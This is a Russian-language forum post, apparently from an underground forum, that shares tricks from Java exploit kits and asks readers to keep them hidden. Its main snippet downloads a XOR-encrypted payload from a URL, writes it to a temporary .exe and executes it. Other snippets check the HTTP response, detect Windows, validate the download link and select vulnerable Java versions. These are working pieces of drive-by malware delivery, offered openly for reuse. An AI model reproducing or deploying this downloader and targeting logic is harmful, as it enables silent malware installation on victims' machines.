В данной теме предлагаю делится различными фишками и трюками, которые используются в ява сплоитах.
Некоторые примеры взяты из сэмплов сплоитов, снятых с известных паков. Ничего приватного тут нет, но по скольку такого рода материала я не видел ни на форумах ни в блогах аналитиков - прошу размещать всё под хайд.
Некоторые примеры взяты из сэмплов сплоитов, снятых с известных паков. Ничего приватного тут нет, но по скольку такого рода материала я не видел ни на форумах ни в блогах аналитиков - прошу размещать всё под хайд.
Дешифровка и запуск поксореного файла:
Проверка кода ответа сервера, заголовка отдачи контента и его длины при заборе ехе:
Проверка на windows:
Ещё один вариант проверки на windows:
Проверка линка на скачку exe:
Проверка версии:
Код:
public byte[] xorWithKey(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
{
byte[] arrayOfByte = new byte[paramArrayOfByte1.length];
for (int i = 0; i < paramArrayOfByte1.length; i++)
arrayOfByte[i] = (byte)(paramArrayOfByte1[i] ^ paramArrayOfByte2[(i % paramArrayOfByte2.length)]);
return arrayOfByte;
}
URL localURL = new URL(str1);
localObject3 = (HttpURLConnection)localURL.openConnection();
InputStream localInputStream = ((HttpURLConnection)localObject3).getInputStream();
BufferedInputStream localBufferedInputStream = new BufferedInputStream(localInputStream);
byte[] arrayOfByte2 = new byte[i];
int k = 0;
int m = 0;
while (m < i)
{
k = localBufferedInputStream.read(arrayOfByte2, m, arrayOfByte2.length - m);
if (k == -1)
break;
m += k;
}
localBufferedInputStream.close();
if (m != i)
System.exit(0);
File localFile = File.createTempFile("~tmp", ".exe");
FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
String str3 = getParameter("xorkey");
if ((str3 != null) && (str3.length() != 0))
{
byte[] arrayOfByte3 = new byte[arrayOfByte2.length];
arrayOfByte3 = xorWithKey(arrayOfByte2, str3.getBytes("ISO_8859_1"));
localFileOutputStream.write(arrayOfByte3);
}
else
{
localFileOutputStream.write(arrayOfByte2);
}
localFileOutputStream.flush();
localFileOutputStream.close();
Runtime.getRuntime().exec(new String[] { localFile.getAbsolutePath() });
Код:
localObject3 = (HttpURLConnection)localURL.openConnection();
int i = ((HttpURLConnection)localObject3).getContentLength();
String str2 = ((HttpURLConnection)localObject3).getContentType();
int j = ((HttpURLConnection)localObject3).getResponseCode();
if ((j == 200) && (str2.startsWith("application/")) && (i > 0))
{
//some code here
}
Код:
private static final String PATH_SEP = System.getProperty("path.separator");
private static final boolean IS_DOS = PATH_SEP.equals(";");
...
if (IS_DOS) {
//some code here
}
...
Код:
if (System.getProperty("os.name").contains("Windows")) {
//some code here
}
Код:
//Декод линка
...
if ((link.startsWith("http") && (link.length() !== 0 ))
{
//some code here
}
Код:
...
String str1 = System.getProperty("java.version").toString();
String[] arrayOfString1 = str1.split("\\.");
String[] arrayOfString2 = str1.split("_");
int i = Integer.parseInt(arrayOfString1[1]);
int j = Integer.parseInt(arrayOfString2[1]);
if (((i >= 4) && (i <= 6) ) || ((i == 7) && (j <= 1))) {
//some code here
}